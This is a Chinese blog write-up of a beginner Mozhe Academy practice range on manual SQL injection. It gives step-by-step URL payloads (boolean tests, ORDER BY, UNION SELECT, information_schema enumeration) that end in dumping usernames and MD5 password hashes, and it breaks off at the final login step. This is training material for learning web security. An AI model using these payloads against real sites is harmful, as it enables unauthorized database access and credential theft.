墨者学院——入门SQL手工注入

关于SQL注入

SQL注入是一种注入攻击,它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。

      攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。 

      SQL注入漏洞可能会影响使用SQL数据库(如MySQL,Oracle,SQL Server或其他)的任何网站或Web应用程序。犯罪分子可能会利用它来未经授权访问用户的敏感数据:客户信息,个人数据,商业机密,知识产权等。SQL注入攻击是最古老,最流行,最危险的Web应用程序漏洞之一。

https://baijiahao.baidu.com/s?id=1629045600845343519&wfr=spider&for=pc

在墨者学院上做的一道入门基础题

下面为详细步骤

01.寻找注入点

点开在线靶场网址是一个登录界面,此时不知道账号和密码,随意输入一个尝试之后当然显示的是账号或密码错误,于是会选择SQL注入

 

 

在登陆界面下方有一条滚动的公告,点开后检查url发现可能存在注入点

url为

http://219.153.49.228:48917/new_list.php?id=1

数据库执行

select * from news where id=1

在我们寻找网页注入点时,要多留意有参数的地方,比如此处的id,说明可以查询id=1的内容来获取页面,也就存在了注入的可能。

于是在url后面加上and 1=1

页面提交:

http://219.153.49.228:48917/new_list.php?id=1 and 1=1

数据库执行

select * from news where id=1 and 1=1

此时因为1=1在数据库中是恒为true的,故页面不会出错

而当我们输入1=2时,因为在数据库中1=2恒为flase,故页面出错

页面提交:

http://219.153.49.228:48917/new_list.php?id=1 and 1=2

数据库执行:

select * from news where id=1 and 1=2

页面:

 

由此可以确定,公告页为注入点

 

02判断字段数及内容

找到注入点后可以通过SQL语句中的

order by N

来判断这里有几个字段即数据库有多少列

在数据库中执行的语句为

select * from news where id=1 order by N

在此处从N=1开始尝试

 

一直到order by 5的时候页面出现了错误,说明数据库一共有四个字段

order by 5时页面为空,说明该页面数据库一共存在四个字段

已经知道数据库有四个字段,接下来就查询这四个字段分别代表的是什么,于是我们就在显示为空界面的时候联合查询1234的位置,采用Union语句进行联合查询

页面提交:

http://219.153.49.228:48917/new_list.php?id=1 and 1=2 union select 1,2,3,4

数据库执行:

select * from news where id=1 and 1=2 union select 1,2,3,4

页面:

在原本标题title位显示为2,内容context位显示为3,故这是两个出错的字段,可以利用出错位来进行数据库信息的显示。

03.数据库爆破

不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们需要要判断一下数据库的类型。我们让2的位置显示database()数据库名称,3的位置显示version()版本号。

页面提交:

http://219.153.49.228:48917/new_list.php?id=1 and 1=2 union select 1,database(),version(),4

数据库执行:

select * from news where id=1 and 1=2 union select 1,database(),version(),4

页面:

同理还可以查询用户的名称

页面提交:

http://219.153.49.228:48917/new_list.php?id=1 and 1=2 union select 1,2,user(),4

数据库执行:

select * from news where id=1 and 1=2 union select 1,2,user(),4

页面:

04.爆破得数据库名

页面提交:

http://219.153.49.228:48917/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

数据库执行:

select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

页面:

此时title位显示为information_schema

information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。

limit 0,1的意思是从第0行起的第1列数据,information_schema即为获得的第二个表名

以此类推分别查询limit 1,1

limit 2,1

limit 3,1

limit 4,1

limit 5,1时页面为空,说明一共是五个表,分别为

information_schema、mozhe_Discuz_StormGroup、mysql、performance_schema、sys

 

若想要一次性查询所有数据库的名称可采用下列语句

http://219.153.49.228:49363/new_list.php?id=1 and 1=2 UNION SELECT 1,database(),group_concat(schema_name),4 from information_schema.SCHEMA

页面:

05.爆破得数据库表名

此处为了简便和起示范作用直接爆破目标数据库(就是储存了用户名和密码的数据库)

假设已知该数据库为mozhe_Discuz_StormGroup

页面提交:

http://219.153.49.228:48917/new_list.php?id=1and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES whereTABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1

数据库执行:

select * from news where id=1 and 1=2 unionselect 1,TABLE_NAME,3,4 from information_schema.TABLES whereTABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1

页面:

 

在原来的标题上位置显示为StormGroup_member,内容的位置显示为3
分析解说:查询对应数据库mozhe_Discuz_StormGroup的第1个数据表名称,limit 0,1,第1个表名为StormGroup_member。

依次类推依次查询第二个

limit 1,1

limit 2,1时为空,说明只有两个表StormGroup_member、notice

06.爆破得数据库列名及类型

页面提交:

http://219.153.49.228:48917/new_list.php?id=1and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNSwhere TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member'limit 0,1

数据库执行:

select * from news where id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1

页面:

 

在原来的标题上位置显示为id,内容的位置显示为int(11)
分析解说:查询数据库mozhe_Discuz_StormGroup的表StormGroup_member中的第一个字段名称与类型,第一个名称为id,类型:整型int(11)。

以此类推,分别查询第二个字段,第三个字段

limit 1,1

第二个字段是用户名,为varchar型,长度为20以内

limit 2,1

 

第三个字段是密码,为varchar型,长度为255以内

limit 3,1

第四个字段是status,为int型,长度为11以内

limit 4,1页面为空,说明一共有四个字段

id,name,password,status

07.查询用户数据总数

页面提交:

http://219.153.49.228:48917/new_list.php?id=1 and 1=2 union select 1,count(*),3,4 from mozhe_Discuz_StormGroup.StormGroup_member

数据库执行:

select * from news where id=1 and 1=2 union select 1,count(*),3,4 from mozhe_Discuz_StormGroup.StormGroup_member

页面:

查询数据库mozhe_Discuz_StormGroup的表StormGroup_member中数据总数,共有2条数据,即有两个用户的数据

08.爆破得用户名及密码

使用CONCAT()函数

页面提交:

http://219.153.49.228:48917/new_list.php?id=1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

数据库执行:

select * from news where id=1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

页面:

一共有两个用户数据,故我们再查询limit 1,1

经过观察,密码的形式似乎经过MD5加密,经过在线网站转码之后即可获得正确的密码。

注意:status代表用户是否可用,只有status=1才可以登录网站

 09.登录获得KEY

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值